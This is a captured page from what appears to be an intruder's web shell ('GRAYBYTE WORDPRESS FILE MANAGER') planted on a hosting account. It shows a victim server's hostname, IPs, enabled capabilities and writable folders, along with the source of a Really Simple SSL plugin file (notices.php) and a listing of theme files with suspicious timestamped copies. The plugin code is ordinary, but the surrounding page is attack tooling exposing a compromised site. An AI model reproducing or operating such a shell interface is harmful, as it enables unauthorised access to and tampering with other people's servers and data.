✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.223
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/cgi-bin/tabs//notices.php
<?php

use RSSSL\Security\RSSSL_Htaccess_File_Manager;

defined( 'ABSPATH' ) or die();

/**
 * Convert htaccess rules to html friendly layout
 *
 * @param string $code
 *
 * @return string
 */
function rsssl_parse_htaccess_to_html( string $code): string {
	$normalized_code = preg_replace( "/\r\n?|\r/", "\n", $code );
	if ( is_string( $normalized_code ) ) {
		$code = $normalized_code;
	}

	$code = ltrim( $code, "\n" );
	$code = str_replace( '<br>', "\n", $code );
	$code_arr = explode( "\n", $code );
	$code_arr = array_map('esc_html', $code_arr);
	$code = implode('<br>', $code_arr);
	return '<br><code>' . $code . '</code><br>';
}

function rsssl_general_security_notices( $notices ) {
	$code                 = rsssl_parse_htaccess_to_html( get_site_option( 'rsssl_htaccess_rules', '' ) );
	$uploads_code         = rsssl_parse_htaccess_to_html( get_site_option( 'rsssl_uploads_htaccess_rules', '' ) );
	$open_hardening_count = rsssl_count_open_hardening_features();

	// Unified error message format for .htaccess issues
	// Note: 'not-supported' (file doesn't exist) is handled silently - no notice shown
	// as the plugin falls back to PHP redirect / advanced-headers.php
	$notices['htaccess_status'] = array(
		'callback'          => 'rsssl_htaccess_status',
		'score'             => 5,
		'output'            => array(
			RSSSL_Htaccess_File_Manager::ERROR_NOT_WRITABLE => array(
				'title'       => __( "Failed to update .htaccess", "really-simple-ssl" ),
				'msg'         => __( "Failed to update security setting in your .htaccess file: file is not writable.", "really-simple-ssl" ) . '<br><br>'
				                 . '<strong>' . __( "Resolution:", "really-simple-ssl" ) . '</strong><br>'
				                 . __( "1. Update file permissions to make .htaccess writable, or", "really-simple-ssl" ) . '<br>'
				                 . __( "2. Add the following code manually:", "really-simple-ssl" ) . $code,
				'clear_cache_id' => 'managed_htaccess',
				'icon'        => 'warning',
				'dismissible' => true,
				'plusone'     => true,
				'url'         => 'manual/editing-htaccess/',
			),
			RSSSL_Htaccess_File_Manager::ERROR_NOT_READABLE => array(
				'title'       => __( "Failed to update .htaccess", "really-simple-ssl" ),
				'msg'         => __( "Failed to update security setting in your .htaccess file: file is not readable.", "really-simple-ssl" ) . '<br><br>'
				                 . '<strong>' . __( "Resolution:", "really-simple-ssl" ) . '</strong><br>'
				                 . __( "1. Update file permissions to make .htaccess readable and writable, or", "really-simple-ssl" ) . '<br>'
				                 . __( "2. Add the following code manually:", "really-simple-ssl" ) . $code,
				'clear_cache_id' => 'managed_htaccess',
				'icon'        => 'warning',
				'dismissible' => true,
				'plusone'     => true,
				'url'         => 'manual/editing-htaccess/',
			),
		),
		'show_with_options' => [
			'disable_indexing',
			'redirect'
		]
	);

	$notices['htaccess_status_uploads'] = array(
		'callback'          => 'rsssl_uploads_htaccess_status',
		'score'             => 5,
		'output'            => array(
			'not-writable' => array(
				'title'       => __( "Failed to update uploads .htaccess", "really-simple-ssl" ),
				'msg'         => __( "Failed to update security setting in your uploads .htaccess file: file is not writable.", "really-simple-ssl" ) . '<br><br>'
				                 . '<strong>' . __( "Resolution:", "really-simple-ssl" ) . '</strong><br>'
				                 . __( "1. Update file permissions to make the uploads .htaccess writable, or", "really-simple-ssl" ) . '<br>'
				                 . __( "2. Add the following code manually:", "really-simple-ssl" ) . $uploads_code,
				'icon'        => 'warning',
				'dismissible' => true,
				'plusone'     => true,
				'url'         => 'manual/editing-htaccess/',
			),
		),
		'show_with_options' => [
			'block_code_execution_uploads',
		]
	);

	$notices['display_name_is_login_exists'] = array(
		'condition' => [ 'rsssl_get_users_where_display_name_is_login' ],
		'callback'  => '_true_',
		'score'     => 5,
		'output'    => array(
			'true' => array(
				'url'         => 'manual/login-and-display-names-should-be-different-for-wordpress/',
				'msg'         => __( "We have detected administrator roles where the login and display names are the same.", "really-simple-ssl" ) . "&nbsp;<b>" . rsssl_list_users_where_display_name_is_login_name() . "</b>",
				'icon'        => 'open',
				'dismissible' => true,
			),
		),
	);

	$notices['new_username_empty'] = array(
		'condition'         => [ 'rsssl_has_admin_user', 'option_rename_admin_user', 'NOT rsssl_new_username_valid' ],
		'callback'          => '_true_',
		'score'             => 5,
		'output'            => array(
			'true' => array(
				'highlight_field_id' => 'rename_admin_user',
				'title'              => __( "Username", "really-simple-ssl" ),
				'msg'                => __( "Rename admin user enabled: Please choose a new username of at least 3 characters, which is not in use yet.", "really-simple-ssl" ),
				'icon'               => 'warning',
				'dismissible'        => true,
			),
		),
		'show_with_options' => [
			'new_admin_user_login',
		],
	);

	$notices['enable_vulnerability_scanner'] = array(
		'callback' => 'option_enable_vulnerability_scanner',
		'score'    => 5,
		'output'   => array(
			'false' => array(
				'highlight_field_id' => 'enable_vulnerability_scanner',
				'msg'                => __( "Enable the Vulnerability scan to detect possible vulnerabilities.", 'really-simple-ssl' ),
				'icon'               => 'open',
				'admin_notice'       => false,
				'dismissible'        => true,
				'plusone'            => false,
			),
			'true'  => array(
				'msg'  => __( "Vulnerability scanning is enabled.", 'really-simple-ssl' ),
				'icon' => 'success',
			),
		),
	);

	$notices['count_open_hardening_features'] = array(
		'callback' => 'rsssl_has_open_hardening_features',
		'score'    => 5,
		'output'   => array(
			'true'  => array(
				'highlight_field_id' => 'disable_anyone_can_register',
				'msg'                => sprintf(
					_n(
						"You have %s open hardening feature.",
						"You have %s open hardening features.",
						$open_hardening_count,
						"really-simple-ssl"
					),
					$open_hardening_count
				),
				'icon'               => 'open',
				'dismissible'        => true,
			),
			'false' => array(
				'msg'  => __( "All recommended hardening features enabled.", "really-simple-ssl" ),
				'icon' => 'success',
			),
		),
	);

    $notices['lock_file_exists'] = array(
        'callback' => 'rsssl_lock_file_exists',
        'score'    => 5,
        'output'   => array(
            'true'  => array(
                'msg'  => __( 'The Firewall, LLA and 2FA are currently inactive, as you have activated Safe Mode with the rsssl-safe-mode.lock file. Remove the file from your /wp-content folder after you have finished debugging.', 'really-simple-ssl' ),
                'icon' => 'warning',
            ),
        ),
    );

	return $notices;
}
add_filter('rsssl_notices', 'rsssl_general_security_notices');


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Sep 2026 11.02 PM
docteuh / users
0755
2021
--
22 Sep 2026 5.12 AM
docteuh / users
0755
Authentication
--
10 Sep 2026 11.14 PM
docteuh / users
0755
Helpers
--
11 Sep 2026 12.16 PM
docteuh / users
0755
assets
--
18 Sep 2026 1.11 AM
docteuh / users
0755
config-wp-temp
--
11 Sep 2026 12.16 PM
docteuh / users
0755
dashboard
--
17 Sep 2026 2.51 PM
docteuh / users
0755
icomoon-admin
--
9 Sep 2026 1.34 AM
docteuh / users
0755
third-party
--
13 Sep 2026 4.50 PM
docteuh / users
0755
user-interface
--
22 Sep 2026 4.42 PM
docteuh / users
0755
icon-redirect-manager-20260827192224-20260829103225-20260831111900-20260901204506.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260831001052.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
misc.php
45.354 KB
21 May 2026 2.34 PM
docteuh / users
0644
notices.php
6.976 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
site-analysis.php
0.417 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
tab_avada_page_options.php
4.173 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_content.php
10.007 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_footer-20260911101609.php
3.745 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_footer.php
3.745 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_form_confirmation.php
2.249 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_form_general.php
2.789 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_form_notifications.php
6.481 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_form_privacy.php
2.453 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_form_steps.php
38.832 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_form_submission.php
7.791 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_fusion_template.php
1.954 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_header-20260911101610.php
6.822 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_header.php
6.822 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_off_canvas_animation.php
10.551 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_off_canvas_close.php
7.266 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_off_canvas_conditions.php
1.602 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_off_canvas_design.php
13.592 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_off_canvas_general.php
12.399 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_off_canvas_overlay.php
8.625 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_off_canvas_rules.php
7.44 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_off_canvas_triggers.php
8.355 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_page.php
8.119 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_pagetitlebar.php
16.751 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_portfolio_post.php
13.155 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_post.php
9.259 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_sidebars.php
13.714 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_sliders.php
9.134 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_studio-20260911101611.php
12.596 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_studio.php
12.596 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_studio_tools.php
0.543 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
tab_template.php
17.381 KB
20 Nov 2023 7.11 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF